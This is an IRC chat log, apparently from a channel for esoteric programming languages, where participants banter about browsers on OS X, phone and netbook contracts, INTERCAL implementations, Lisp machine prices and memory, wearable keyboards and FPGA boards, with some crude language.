13:29:20 <ehird> ais523: but he thinks it's strange. it must be weird where artificial, stupid limitations like that are strange.
13:29:23 <ehird> weird and awesome.
13:29:57 * ehird sees someone call Android a real-time OS, goes WTF.
13:30:08 <ais523> you never know, it could be
13:30:12 <fizzie> I'm not sure if it's officially "strange" any more, it's just that I haven't been following the phone situation since my last phone-switch, maybe some five or so years ago.
13:30:13 <ais523> although it does seem rather unlikely
13:30:18 <ehird> ais523: it's based on the Linux kernel and is open source
13:30:26 <ehird> i can state with absolute certainty that it is not.
13:30:43 <ais523> ehird: Google might have based it on the realtime version for some weird reason of their own, for all I know
13:30:49 <ais523> although it still wouldn't be as realtime as a really realtime OS
13:31:29 <ehird> "Firefox 3.5 is two times faster than 3.0. And ten times faster than 2.0. *"
13:31:34 <ehird> now that's a bold claim...
13:32:20 <ais523> who made it? Mozilla or someone else?
13:32:51 <ais523> on the other hand, IE has over twice the version number, so it must be faster still
13:33:13 <ehird> ais523: mozilla. "* Based on the results of a SunSpider test of JavaScript performance on a Windows XP machine. "
13:33:33 * ehird drags firefox over, fixes hideous os x icon
13:33:56 <ehird> hm they may have fixed it
13:34:30 <ehird> ahh, we still get totally retarded focus boxes on everything
13:35:04 <ehird> hey, they fixed buttons
13:35:06 <ehird> now they're the proper size.
13:35:18 <ehird> form fields still butt up against each other though.
13:36:20 <ehird> also, the scrollbars are still wrong.
13:36:21 <fizzie> When the whole "3G" data thing started, the operators started quite noisily selling phones as a part of the monthly cost of the connection; I'd assume those might be more often somehow sim-locked. I have no clue how popular that sort of thing is, but certainly (excepting the iPhone) I think here you can still just go to a shop and buy a phone if you want.
13:36:40 <ehird> It is simply the done thing.
13:36:55 <ehird> i wonder when mozcorp will realize that using anything other than the actual cocoa libraries on OS X will never integrate, ever
13:37:36 <ehird> font rendering still sucks
13:38:55 <ehird> still feels sluggish.
13:39:29 <ais523> over here in the UK, they're now trying to sell laptops as part of the cost of the connection
13:39:38 <fizzie> In my operator's price list there's a newspost (dated March 6th) saying [my translation] "the phone may be network-locked, in which case you may only use it with a SIM card from an operator which uses carrier X's network, such as X, Y or Z".
13:39:40 <ais523> you get a free laptop but have to pay for really expensive mobile internet
13:40:02 <ehird> ais523: carphone warehouse aka aol mostly do that
13:40:06 <fizzie> Oh yes, they're selling those "net-tops" as part of "mobile broadband" connections here too. I've seen ads in a bus.
13:40:29 <ehird> fizzie: netbooks haven't caught on here yet
13:40:39 <ehird> we get gigantic 17" core 2 duo affairs with "3GBZ OF RAM!!1111"
13:40:57 <ehird> the worst abuse of the term "laptop" ever conceived.
13:41:31 <ehird> it is time, then, to give the opera 10 beta a go.
13:41:39 <ehird> since I'm trying ff 3.5 b... prerelease? dunno.
13:41:41 <fizzie> There seem to be even operator-branded laptops. At least this one just says "Elisa G10IL", where Elisa is a local mobile-phone-carrier/ISP/such.
13:42:04 <ehird> The ECS G10IL is a netbook computer designed by ECS. Using an Intel Atom N270 processor, it includes a built-in tri-band HSDPA[1] and HSUPA, the "Super 3G". The notebook will be available with Linux and Windows XP.[2]
13:42:12 <ehird> fizzie: just rebranded.
13:42:17 <ehird> Other versions are:
13:42:19 <ehird> # Elisa Miniläppäri - Finland
13:42:31 <ehird> [[Ever felt a Web site was loading slowly? Do you think it will happen again? Think again: Opera Turbo is a compression technology that provides significant improvements in browsing speeds over limited-bandwidth connections like a crowded Wi-Fi in a cafe or browsing through your mobile phone while commuting. Tell us how you reacted first time you tried compressed browsing!]]
13:42:33 <ehird> What they actually mean:
13:42:42 <ehird> All your traffic are belong to Opera Software's routers.
13:42:48 <ehird> You have no chance to privacy make your time.
13:43:23 -!- MigoMipo_ has joined.
13:43:37 <FireFly> They actually suggest you to turn it off when you're on a faster network again
13:43:53 <FireFly> As well as every time you start the browser with turbo enabled
13:44:47 <ehird> first impressions:
13:44:51 <ehird> omg new default skin is fugly.
13:45:01 <ehird> ... it looks just like qt. yeah opera is qt but it's never looked q.
13:45:05 <ehird> it's obviously not qt though
13:45:08 <ehird> but it looks very qt4
13:45:20 <fizzie> If someone wants a comparative price point, that G10IL costs 360 eur if you actually want to buy and own it, or alternatively as a part of a mobile interwebs it's: 384kbps -> 25 eur/month, ..., 5Mbps -> 50 eur/month; with the other speeds (512k, 1M, 2M) there in the middle.
13:45:41 <ehird> that's pretty good.
13:45:42 <FireFly> [14:44:51] <ehird> omg new default skin is fugly. <-- Agreed, sadly enough
13:45:49 <ehird> when will we get 100mbits wireless?
13:46:04 <ehird> FireFly: well the old one was fugly too; Opera's only ever looked good on windows
13:46:10 <ehird> and that's with tweaking
13:46:15 <FireFly> The old one at least looked better
13:46:23 <ehird> For the benefit of others: http://imgur.com/0KzKj.png
13:46:36 <ehird> FireFly: i just wish they'd use bloody native widgets
13:46:42 <ehird> it takes more time to fake the look of native ones!
13:46:48 <fizzie> It probably won't work as 5Mbps in very many places. I think there was some sort of HDSPA maximum-speed of 3.6 Mbps even in some of the "fast" places.
13:47:06 <fizzie> "Nearly 40 HSDPA networks support 3.6 Mbit/s peak downlink data throughput. A growing number are delivering 7.2 Mbit/s peak data downlink, leveraging new higher-speed devices coming into the market."
13:47:08 <ehird> fizzie: well i want 100mbit symmetrical wireless so foo you.
13:47:19 <ehird> FireFly: the preferences dialog just has a close button
13:47:22 <ehird> no minimize or expand
13:47:29 <ehird> NO OTHER OS X WINDOW DOES THAT!
13:48:00 <ehird> why is opera said to be fast
13:48:05 <ehird> it doesn't seem fast to me
13:48:22 -!- MigoMipo has quit (Read error: 110 (Connection timed out)).
13:49:42 <fizzie> If I read that price list right, it's a fixed +15eur/month to get that "free" laptop; the normal prices for those broadband connections with no device included are all that much cheaper.
13:51:15 * ehird turns off mouse gestures because they're fucking retarded
13:53:02 <fizzie> So you spend more than the 360 eur "just buy it" price if you keep the thing with more than 24 months. It might even be so that 24 months "coincidentally" is the minimum length for the fixed-duration mobile-internet contract.
13:53:30 <ehird> i'm gonna get my linux box and write a unixy webkit/gtk affair with a decent ui.
13:53:34 <ehird> NOBODY'S SAID THAT BEFORE!
13:54:16 <ehird> Ahh, a site broken in Opera that isn't broken in any other browser.
13:54:25 <ehird> IT'S THE SITE'S FAULT!!!!111123612786378123ELEVENTYFOURSIN(3578234)
13:54:28 <ais523> is it one of Microsoft's?
13:54:38 <ehird> ais523: no, it's an online article from the Guardian
13:54:50 <ehird> two of the little icon images have been blown up to ginormous size
13:54:51 <ais523> there was a problem a while back where Microsoft had workarounds for a bug in an old version of Opera
13:54:55 <ehird> one is stretched wide rightward
13:54:56 <fizzie> I wonder if they're still developing Dillo. I think it was the only sensible browser I found for the Pentium-100-CPU/48M-memory "laptop" I had.
13:55:02 <ais523> Opera fixed the bug, but Microsoft forgot to remove the workarounds
13:55:07 <ais523> causing the page to misrender in Opera but nothing else
13:55:11 <ehird> fizzie: I think it's as developed as anything that dull and old-fashioned is
13:56:02 <fizzie> 14-Oct-2008 they've released a "2.0" version, but not much news after that.
13:56:06 <ehird> fizzie: they seem to have redesigned their site: http://dillo.org
13:56:34 <fizzie> It's... very blue now.
13:56:45 <ehird> My blue cones are dying already
13:57:03 <ehird> fizzie: http://www.dillo.org/screenshots/fltk.css.png a screenshot from feb
13:57:07 <ehird> dig that window manager
13:58:06 <fizzie> Heh, it runs on the Openmoko thing.
14:01:31 * ehird tries Opera's VISUAL TAB PREVIEW thing that OmniWeb has had for yonks, concludes it's a gimmick.
14:01:35 <ehird> Maybe it'll work side-mounted.
14:02:03 <ehird> When mounted to the side it refuses to display thumbnails.
14:03:12 <fizzie> For some reason the Opera users I've met come across as more fanatic than, say, Firefox users.
14:03:44 <ehird> fizzie: Yes, almost all Opera users are rabid fanboys.
14:03:50 <ehird> Also almost all windows users.
14:03:55 <ehird> Almost all Windows XP users too.
14:04:00 <ehird> And they always seem to use the Windows Classic theme.
14:04:09 <ehird> The Opera user is a very specific type of person.
14:04:12 <ais523> hey, I use the Windows Classic theme when I'm on Windows
14:04:16 <ehird> He carries around 10 toolbars and a few on the side.
14:04:21 <ehird> it's homely, I guess.
14:04:24 <ehird> ais523: nothing wrong with that
14:04:27 <ehird> I'm just stating truth
14:04:46 <ehird> http://vimeo.com/3635423 ← I'm having trouble believing this is from MS, it's so great
14:05:04 <ehird> it just uses MS surface
14:05:10 <ehird> ms surface is neat too
14:10:57 <ehird> aah i want my wearable
14:14:45 <ais523> ehird: is there any way to get in touch with a particular reddit user?
14:14:56 <ais523> there's a reddit comment where someone claims to have written an INTERCAL interp in .NET
14:15:00 <ehird> ais523: yes, send them a message
14:15:04 <ais523> which implies that it's an INTERCAL implementation we don't know of
14:15:10 <ehird> ais523: this involves enabling SPOOKY JAVASCRIPT to register and login :P
14:15:19 <ais523> http://www.reddit.com/r/programming/comments/8rcb4/comefrom_statement_considered_awesome/c0a77g9
14:15:21 <ehird> ais523: but it's likely just a shitty one-day project that gets everything wrong...
14:15:35 <ais523> C-INTERCAL 0.1 was written in a weekend
14:15:46 <ehird> ais523: and I'm sure 0.1 was absolute shit.
14:15:51 <ais523> it didn't even compile
14:16:00 <ehird> ais523: i can send a message on your behalf if you don't want to register/login.
14:16:05 <ais523> but technically speaking it was a major release
14:16:11 <ehird> well, it'd be on a.l.i or #esoteric's behalf, I guess
14:16:26 <ais523> probably a.l.i, nobody believes it still exists
14:16:29 <ais523> so it's more surprising
14:16:56 <ehird> i'll write it all formal-like so he's scared off.
14:17:08 <ais523> that's what I would do too
14:18:48 <ais523> heh, a working patch to Python to support goto and comefrom exists
14:19:58 <ais523> http://entrian.com/goto/
14:22:00 <ais523> I wonder what that does on multiple COME FROMs aiming at the same line
14:22:09 <ais523> somehow, I seriously doubt threading, but it would be great if it did
14:22:17 <ehird> ais523: Not a patch.
14:22:19 <ehird> It is just a module.
14:22:27 <ehird> "goto .myLabel" = "goto.myLabel".
14:22:36 <ehird> "goto *x" = "goto * x"
14:22:57 <fizzie> Write it all 419-scammer style. "First I must solicit your strictest confidence in this transaction. I am writing as the account manager of the late alt.lang.intercal newsgroup, which perished tragically in an airplane accident, leaving the total file of 7 900 000 (7.9 million) COME FROM statements in our care. ..."
14:22:58 <ais523> how does it know how to comefrom forwards?
14:23:10 <ais523> fizzie: nah, I want a positive chance of a reply
14:24:19 <ais523> ah, according to Wikipedia, it works by hooking the debugger
14:25:52 <fizzie> Aw. You could even hook his interpreter into it somehow. "To facilitate the transfer of this valuable data to you we will need from you an INTERCAL implementation for the .NET programming environment. This is needful, as the local dictatorship has forbidden the use of any other environments in transactions of this magnitude."
14:26:23 <ehird> ais523: http://pastie.org/508423.txt?key=sgksbxymxnmbyrzwsseaqg
14:26:29 <ehird> proposed message, comments welcome
14:27:19 <ais523> even if it's written in Agoran rather than English
14:27:24 <ais523> it's close enough to English that it's readable
14:27:49 <ais523> also, how do you know he has an OLED?
14:28:28 <ehird> ais523: It was crafted in such conditions, and that is all that is stated. Note that everything existing in the universe is necessarily organic.
14:29:22 <fizzie> Anything's organic that you can make an organ out of.
14:29:33 <ehird> fizzie: BOTH KINDS
14:29:52 <ehird> i have not slept for a day
14:29:54 <ehird> laaaaaaaaaaaalalalalaa
14:30:20 <ais523> ehird: I seem to be sleeping once every two days atm, for ages
14:31:23 <ehird> ais523: i'm not particularly attuned to it; I tried to sleep yesterday, but just fiddled about on my iphone for an hour or two and got up since it was daylight.
14:31:40 <ehird> strangely, my body seems to be sleeping while I'm conscious, as I'm certainly getting more perky as time passes
14:32:01 <ais523> sort of lying down trying to sleep is worth about half as much as sleeping, as far as I can tell
14:32:09 <ais523> in terms of satisfying the body's need for sleep
14:32:47 <ehird> the tcl core team are cool
14:32:48 <ehird> http://groups.google.com/group/comp.lang.tcl/browse_thread/thread/99e2693293b3c945/f4932ae01d74f8e1#f4932ae01d74f8e1
14:32:52 <ehird> i like to think they do all announcements like that
14:32:54 <ehird> http://groups.google.com/group/comp.lang.tcl/browse_thread/thread/99e2693293b3c945/f4932ae01d74f8e1
14:32:58 <ehird> http://groups.google.com/group/comp.lang.tcl/browse_thread/thread/99e2693293b3c945
14:33:38 <ais523> wow, the TCL team write in Agoran too
14:35:33 <ehird> ais523: just for that announcement, and it's actually parliamentarian
14:35:42 <ais523> yes, http://www.robertsrules.org/
14:35:54 <ais523> that whole thing is like a nomic, but even more complicated
14:36:35 <ehird> "Adopt a line of source code
14:36:35 <ehird> for just $4 a month, and together
14:36:37 <ehird> we can keep Miro alive and growing!"
14:36:39 <ehird> I'm not even kidding.
14:36:46 <ehird> https://getmiro.com/adopt/adoptee/127/34322b/
14:36:49 <ehird> Aww, a class declaration line!
14:36:59 <ehird> How cu— WHAT A FUCKING SHIT LAYER OVER OPEN SOURCE DONATIONS.
14:37:03 -!- MigoMipo_ has changed nick to MigoMipo.
14:37:03 <ehird> God that's stupid.
14:37:27 <ais523> do you get informed by email whenever your adopted line is patched?
14:37:49 <ais523> or even better, executed
14:38:02 <ehird> ais523: "Your baby has been put on the guillotine!"
14:38:09 <ehird> "AND AGAIN OH THE MULTIPLE BABY-KILLING HORRORS"
14:38:27 <ehird> "IT HAPPENED AGAIN AREN'T YOU GOING TO *DO SOMETHING*? YOUR BABY IS REPEATEDLY BEING MURDERED!"
14:38:49 <ais523> even more fun: adopt the line that sends you an email whenever the line you've adopted is executed
14:39:19 <ehird> * ais523 is now known as xzibit
14:42:33 <ehird> ais523: alt.lang.intercal has got a lot of spam recently
14:42:47 <ais523> yep, Google's spam filters are slipping again
14:43:01 <ehird> i've got some spam in my gmail inbox lately
14:43:17 <ehird> only like 3 non-spams flagged as spam since 2006, though
14:43:21 <ehird> and they were all unimportant stuff
14:43:26 <ehird> well, apart from things where i check the spam folder anyway
14:43:32 <ehird> like registration confirmation emails
14:45:26 <ehird> ais523: does come from execute after or before the statement it comes from?
14:45:48 <ais523> if the statement it comes from is a control statement, then the statement it's coming from does its control first
14:45:53 <ais523> and the comefrom catches the return
14:46:06 <ais523> e.g. if you comefrom a function call, the function's called, then the comefrom happens when the function returns
14:46:06 <ehird> ais523: DO COME FROM (2) DO READ OUT ‽1 (1) ‽1 ← "PLEASE GIVE UP" (2) DO READ OUT ‽1
14:46:18 <ehird> should print, if my brain is in order today:
14:46:29 <ehird> ‽1 ← "PLEASE GIVE UP"
14:46:54 <ehird> (string syntax is too simple ofc; that's for later.)
14:57:10 <ais523> err, I'm too tired to think INTERCAL atm
14:57:25 <ais523> especially as I don't get how you're printing statements
14:57:45 <ehird> ais523: ITRALCEN strings & Say-What (interrobang) variables.
15:01:44 <ais523> ehird: please, don't make me try to think about yet another dialect of INTERCAL right now
15:03:47 <GregorR> Jun 11 04:07:55 <iEhird> GregorR: when the asceeen is on does It constantly block vision?
15:03:47 <GregorR> Jun 11 04:08:10 <iEhird> I know I'd doesn't when off
15:03:52 <GregorR> It doesn't /move/ when it's on.
15:03:53 <ehird> GregorR: i know it doesn't
15:03:58 <ehird> i watched your video thingy.
15:04:06 <ehird> GregorR: yes but when it's on the periscope... does shit.
15:04:14 <ehird> I'm not entirely sure how your setup actually works for looking at
15:04:46 <GregorR> Walk around with your hand about a foot in front of and to the right of one eye.
15:04:57 <ehird> stop using stupid measurements
15:05:15 <ehird> i have no sense of size.
15:05:23 <GregorR> Your countrymen invented my stupid measurements :P
15:05:42 <ehird> GregorR: ok, but then i can't look at it properly
15:05:44 <ehird> without moving my head
15:06:44 <GregorR> Then you put it too far to your right :P
15:06:49 <GregorR> Idonno, I can't describe it X-D
15:07:34 <ehird> GregorR: I can't get it to be both not annoying when I hold it, and not straining my eye when I look at it.
15:08:42 <GregorR> The hand metaphor doesn't fit the eyestrain, just the vision-blocking.
15:09:01 <ehird> I want my damn visor.
15:09:13 -!- jix has quit ("leaving").
15:12:37 <ehird> GregorR: But seriously, that all sounds awkward.
15:15:42 -!- KingOfKarlsruhe has quit (Remote closed the connection).
15:19:40 <GregorR> But it's impossible to describe, and I'm so fucking tired of your endless inquiry.
15:20:33 <ehird> I aim to irritate. ^_^
15:47:20 <ehird> someone actually uses syllable
15:51:03 <GregorR> I'm just as surprised as you that anybody uses it.
15:51:57 <ehird> GregorR: They use it to host the website (not the server edition... the desktop edition) of an obscure programming language, that has the site written in the language itself.
15:52:21 <GregorR> With an interpreter that only runs on Syllable? :P
15:52:43 <ehird> GregorR: I think it's portable.
15:57:57 -!- inurinternet has joined.
16:00:21 <ehird> GregorR: [[At one point the line comment support was very buggy]]
16:00:26 <ehird> This guy managed to make single-line comments buggy.
16:02:31 <ehird> "The Last Ever", said Phrack
16:02:31 <ehird> We've heard that one
16:12:22 <ehird> GregorR: it does have syllable-only features
16:12:30 <ehird> GregorR: i bet $50 that he's a syllable developer
16:20:02 <ehird> GregorR: How much would you kill me if I asked the final question of "what keyboard do you use"? :P
16:20:16 <ehird> Note: That is not a question. That is a question, about a question.
16:20:26 <ais523> ehird: and therefore is a question
16:35:31 <ehird> Due to high demand we are currently out of stock on the Bluetooth Left Hand model of our keyboards. We don't plan to manufacture more of this model until we release the next version of our keyboards which are still being re-designed. If you are interested in this product please email us using the link below and we will add you to our email list to keep you updated on Bluetooth Left-Hand FrogPad keyboard developments.
16:37:56 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
16:39:54 <ehird> anyone want to sell me a lisp machine?
16:40:22 <pikhq> If I had one, you think I'd be selling it?
16:40:52 <ehird> pikhq: If your name was Symbolics and you were a company, yes.
16:41:24 <pikhq> But I'm not a company; instead, I'd have a Lisp machine for my own retrocomputing purposes.
16:42:46 <ehird> pikhq: also, working on a lisp machine requires a very specific setup
16:43:00 <ehird> pikhq: specifically, you don't want it anywhere near you, because it's gigantic and LOUD.
16:43:21 <ehird> pikhq: The hackers took the brute-force approach to PC silencing... move it a room or two across, and use long cables.
16:43:35 <pikhq> So, I wouldn't want one unless I had a spare basement.
16:43:37 <ehird> pikhq: And for all that, you get a *single-user* machine. :-P
16:44:22 <pikhq> (no, really, I'm sure it could replace a normal home's heating system)
16:44:34 <ehird> pikhq: I dunno; it must have had like 50 fans.
16:44:58 <ehird> pikhq: BTW, you can get a full lisp machine (not one of the mac-based ones; a true, proper, high end lisp machine) for something like $1-2k.
16:45:12 <ehird> including symbolics keyboard etc
16:45:14 <pikhq> That's pretty damned spiffy.
16:45:20 <ehird> this is prohibitively expensive for what it is, of course —
16:45:27 <ehird> the actual machine is pretty crap as far as computational power.
16:45:38 <pikhq> But it has bucky bits!
16:46:07 <ehird> pikhq: [[I'm not exactly sure which model I have as it is on the other side of the country. The nickname that comes to mind is "The Air Conditioner" because it's big and loud.]] [[It also has two hard disks inside that are add up to a couple hundred MB I think. Also I recall the memory on the machine was measured in mega words (since it is a 36-bit arch). I can remember the exact number anymore, I want to say 512 but then that's too perfect a number.]]
16:46:37 <pikhq> ais523: Megawords.
16:46:48 <ais523> oh, that's quite a bit more
16:46:55 <ais523> I thought megawords as in words which were bigger than normal
16:46:55 <ehird> kiloword = 1024 words. megaword = 1024 kilowords.
16:47:11 <ehird> So 536,870,912 words.
16:47:26 <ehird> 19,327,352,832 bits.
16:47:34 <FireFly> Wouldn't that be kibiwords and mebiwords?
16:48:00 <ehird> ais523: Anyway, 512 megawords of 36-bits = 2.25 gigabytes.
16:48:14 <ehird> pikhq: I think we can agree that either that figure is wrong, or these things were damn beefy.
16:48:19 <ais523> that could handle Vista's memory requirements
16:48:21 <ehird> pikhq: ais523: They're wrong.
16:48:29 <ehird> The harddrives add up to a COUPLE OF HUNDRED _MEGABYTES_.
16:48:37 <ehird> There's no way it had 2GB of RAM.
16:48:44 <ehird> Let's go a simpler route.
16:48:46 <pikhq> ehird: I was about to say...
16:48:51 <ehird> Kiloword = 1000 words. Megaword = 1000 kilowords.
16:49:08 <pikhq> "That seems like a lot for a computer from a day when core memory seemed practical"...
16:49:15 <ehird> Maybe they meant kilowords.
16:49:23 <ais523> would be more plausible
16:49:30 <ais523> and core memory /was/ practical
16:49:40 <pikhq> ais523: Sorry, s/seemed/was/
16:50:05 <ehird> pikhq: ais523: If we say 512 kilowords, that's 2MB of RAM - for an 80s machine with a few HDs totaling a few hundreds of megs, that seems accurate.
16:50:33 <ais523> well, that could still run Windows 3.1
16:50:46 <ehird> ais523: No it couldn't, it's a Lisp Machine, not an x86. :P
16:51:01 <ais523> and you could probably emulate an x86 on one
16:51:09 <ais523> emulation doesn't use up masses of extra memory
16:51:30 <ehird> ais523: But I would not wish writing an x86 emulator in Lisp Machine Lisp on anyone.
16:51:49 <ehird> pikhq: did you know that symbolics made their own monitors?
16:51:55 <ehird> pikhq: Right down to the cathode ray tubes, iirc.
16:52:07 <pikhq> ehird: That's pretty damned impressive.
16:52:08 <ehird> Although they didn't make their actual keyboard keys, because by that point they decided they were going too far.
16:52:09 -!- GregorR-L has joined.
16:52:16 <ehird> Because they'd in-housed just about everything else :P
16:52:19 -!- inurinternet has quit (Connection timed out).
16:52:30 <ehird> Damn, I'd love a flickery, monochrome, crappy CRT.
16:53:16 <GregorR-L> <ehird> Damn, I'd love a flickery, monochrome, crappy CRT. <ehird> Strapped to my eye
16:53:37 <ehird> 16:20 ehird: GregorR: How much would you kill me if I asked the final question of "what keyboard do you use"? :P
16:53:38 <ehird> 16:20 ehird: Note: That is not a question. That is a question, about a question.
16:53:55 <ehird> pikhq: Let's start an #esoteric Fund for Lisp Machine Acquisition and Following Inquisition.
16:54:33 <pikhq> If I've got $1,000 free, I'm getting about 10 1TB drives or something. :P
16:54:39 <GregorR-L> I would kill you very little, but I thought I already answered that question >_>
16:54:45 <ehird> pikhq: It's called a collective fund :P
16:54:48 <ehird> GregorR-L: Not that I recall.
16:55:02 <ehird> pikhq: Also, a Beowulf cluster would be a better use of money.
16:55:32 * pikhq can make good usage of hard drive space
16:55:54 <ehird> pikhq: Yes, but think of the image processing you could do to that porn with a beowulf cluster.
16:55:58 <ehird> GregorR-L: Rings a bell
16:56:09 <ehird> GregorR-L: Oh, GOD.
16:56:11 <ehird> GregorR-L: That thing?
16:56:19 <ehird> GregorR-L: The keyboard with NO TACTILE RESPONSE WHATSOEVER and an awful feel? >_<
16:56:53 -!- inurinternet has joined.
17:00:24 <GregorR-L> I have to assume you've never actually used one.
17:00:33 <GregorR-L> Since the keys make an extremely satisfying 'click'
17:00:49 <ehird> GregorR-L: I'm basing it by looking at it and seeing exactly how it's made :P
17:01:04 <ehird> There's no actual keys there...
17:01:12 <GregorR-L> http://images2.wikia.nocookie.net/wearcomp/images/3/3b/FreedomSlimKeypad.jpg // this one?
17:02:03 <ehird> GregorR-L: really? I see one platter and no raised keys.
17:02:36 <GregorR-L> Well, they're not separated keys in that sense, what I mean is it's not just flat, the metal is cut and the key sections click down.
17:02:59 <GregorR-L> The metal is the keys, and it's raised above the actual surface. The keys are attached, but raised.
17:03:40 <ehird> GregorR-L: Like an ATM keyboard.
17:03:57 <GregorR-L> Uhh, if ATM keyboards are like that in the UK, then yes? :P
17:04:19 -!- Slereah has quit (Read error: 60 (Operation timed out)).
17:04:26 <ehird> Just reminded me of it.
17:04:31 <pikhq> Here, they're more likely to be individual keys or (shudder) a crappy touchscreen.
17:04:37 <ehird> GregorR-L: Anyway, that can't match a keyboard with actual individual keys.
17:04:37 <pikhq> ... Running Windows.
17:04:56 <pikhq> "Because we need something more advanced than a microcontroller!"
17:05:09 <pikhq> GregorR-L: Ah, yes. Diebold...
17:05:42 <ehird> pikhq: http://www.lispmachine.net/symbolics.txt Lisp Machine price list. The top of the line one? 40MB = 8 megawords of memory. 9 GIGABYTES scsi disk. All symbolics software pre-loaded. CD-ROM drive, high-resolution 19" monochrome. Keyboard, three button mouse.
17:05:53 <ehird> Yours for only $3,500.
17:05:57 -!- Slereah has joined.
17:06:15 <ehird> The funnest part is that SCSI disks are NOISY AS FUCK. :)
17:06:35 <GregorR-L> ehird: The feel is nearly individual keys, there's just a thin strip of metal connecting keys, and not even connecting the ones that are immediately next to each other *shrugs*
17:06:46 <ehird> GregorR-L: Meh fine :P
17:07:14 <GregorR-L> I'm not going to claim that it might not feel better with individual keys, but at that size the keys would be awkward and tiny anyway :P
17:07:18 <ehird> pikhq: Anyway, that's the top of the line Symbolics workstation; but shit, $3,500? I wouldn't even consider it. There is a limit to how much I'd pay for retro.
17:07:23 <ehird> GregorR-L: Look up the frogpad
17:07:36 <GregorR-L> I've seen it. It is not a full-layout keyboard.
17:07:46 <pikhq> I think I'd get much more entertainment out of a C64.
17:07:56 <ehird> pikhq: Unfortunately, the only other actual Symbolics machine you can get is a speed-factor 1 $675.
17:08:04 <ehird> Which is, sure, a collectors item; but really crap.
17:08:06 <GregorR-L> If I would buy the frogpad, I'd just make a chording keyboard. I don't want a learning curve to type.
17:08:19 <ehird> GregorR-L: Apparently the learning curve is a few hours.
17:08:23 -!- MizardX has quit ("from __future__ import skynet").
17:08:39 <GregorR-L> ehird: Yeah, I've heard that before :P
17:08:43 <ehird> GregorR-L: Anyway, that thing isn't full qwerty.
17:09:14 <ehird> GregorR-L: I see no - = [ ] \ ; ' , . / keys.
17:09:31 <GregorR-L> I define QWERTY as the LETTER keys. Maybe the numbers too.
17:09:32 <pikhq> Your mother said something similar last night.
17:09:49 <GregorR-L> pikhq: What a strange thing for her to say :P
17:09:55 <pikhq> GregorR-L: Indeed.
17:10:06 <pikhq> ehird has a very odd mother.
17:10:20 <ehird> GregorR-L: I wanna program on this thing, man. :)
17:10:35 <GregorR-L> I'm considering buying the bluetooth laser keyboard for that.
17:10:46 <GregorR-L> But I'm afraid the complete lack of tactile response will make it unusable.
17:10:55 <ehird> I have heard that from everyone who has ever, ever used one.
17:11:03 <ehird> You can't even rest on it, and mistakes are simply a fact of life.
17:11:08 <ehird> Might as well smash your head on a real keyboard
17:11:24 <ehird> GregorR-L: I suggest, for that, a full qwerty split keyboard in two pieces
17:11:31 <ehird> You won't need the mouse much for coderating.
17:11:38 * pikhq smashes keyboard on the desk, pretending to be a member of The Who
17:11:50 <ehird> That's not split into two pieces.
17:11:54 <ehird> GregorR-L: I mean the ergonomic keyboards.
17:12:04 <ehird> One of them with less padding, one of the split-in-two-pieces model.
17:12:05 <ehird> One for each hand.
17:12:24 <ehird> GregorR-L: http://www.kinesis-ergo.com/freestyle.htm
17:12:29 <ehird> The Freestyle Solo there.
17:12:31 <ehird> Basically just the ticket.
17:12:37 <ehird> http://www.kinesis-ergo.com/images/freestyle-solo_690x375.jpg
17:12:49 <ehird> Full qwerty, a bit big, but meh. 's for coding purposes only.
17:13:06 <ehird> The cable could be a problem. Shrug - YMMV.
17:13:19 <ehird> pikhq: Clearly what #esoteric needs is to homebrew some lisp machines.
17:13:30 <ehird> FPGA! We can invent our own new EVERYTHING.
17:13:57 <pikhq> ehird: Man. Awesomeness.
17:14:11 <pikhq> ... I strongly suspect an FPGA would make a *good* Lisp machine.
17:14:35 <ehird> pikhq: For values of good equal to "a bunch of suspect legacy, PC-like ports because FPGA manufacturers suck" and "slllllloooooooooooooowwwwwwwww".
17:14:36 <pikhq> Well, compared to Symbolics machines.
17:14:51 <pikhq> Compared to anything you could do with ASICs? Nah.
17:14:57 <ehird> I wish you could buy an FPGA board without a DVI, VGA, 5xUSB, PCI, dfhjdsfkhkdjsfhksjdf, ethernet, AAAAAAAAAAAAAAAA cable.
17:15:33 <GregorR-L> Buy a BeagleBoard and emulate an FPGA :P
17:15:38 -!- MizardX has joined.
17:15:53 <ehird> BeagleBoard has legacy ports too.
17:16:01 <ehird> pikhq: Cuz we would invent our own display ports, wouldn't we?
17:16:07 <ehird> We could have everything connected via one port, dammit.
17:16:11 <ehird> (One port type that is.)
17:16:20 <ehird> 1 Gbit/sec monitors :P
17:16:29 <ais523> hmm... I've got a copy of the C# INTERCAL's source code
17:16:40 <ehird> ais523: how did that happen?
17:16:40 <ais523> but it's theoretically impossible to comply with the licence, I think deliberately
17:16:50 <ehird> ais523: I guess he read what I said
17:17:03 <ehird> ais523: Anyway, forward the email to me?
17:17:10 <ehird> I'm perfectly happy to violate licenses and it wouldn't be your fault.
17:17:16 <ais523> the copy's for "archival purposes only"
17:17:36 <ehird> ais523: I'm not sure that's deliberately uncompliable. The way I worded it...
17:17:46 <ehird> Well, I wouldn't expect more intelligence than such license idiocy from a C# guy :P
17:17:48 <GregorR-L> So, it would be your fault because redistribution is not OK :P
17:17:54 <ais523> err wait, there's a loophole
17:18:07 <ais523> a consortium of exactly 4 people can use the software
17:18:13 <ais523> as long as they all send copies to each other first
17:18:20 <GregorR-L> I remember having a giant argument about a license that stipulated that you can't use the software to do anything harmful directly OR INDIRECTLY.
17:18:39 <GregorR-L> Which effectively means you can't redistribute it at all.
17:18:51 <ehird> ais523: I have multiple personality disorder.
17:18:51 <pikhq> GregorR-L: ... Indirectly?
17:19:15 <ais523> strangely, there's also a requirement that if you make a deriviative work, you must claim to have no idea who the original author was
17:19:32 <GregorR-L> pikhq: Worse yet, I described a scenario (you give it to a friend who gives it to a friend who gives it to a friend in NASA who uses it on a space shuttle when a bug in it causes the shuttle to explode), and his response was "then you shouldn't have given it to that friend"
17:19:55 <pikhq> GregorR-L: I... And...
17:19:55 <ais523> pikhq: a sensible precaution where INTERCAL is concerned
17:20:13 <pikhq> THIS IS WHY THE GPL INCLUDES A DISCLAIMER OF WARRANTY!
17:20:27 <ais523> it has a disclaimer of warranty too
17:20:39 <ehird> ais523: which did we conclude was best for a starter? Altera or ... Xsomething?
17:20:42 <ais523> ooh, also, you can do anything you like with what you remember of the software
17:20:47 <ais523> ehird: altera vs. xilinx
17:21:00 <ais523> and you decided altera's starter boards were better IIRC, although I can't remember why
17:21:07 <ehird> ais523: Incidentally, would I be at risk at hitting the limits if I tried to program a full-featured Lisp machine on these?
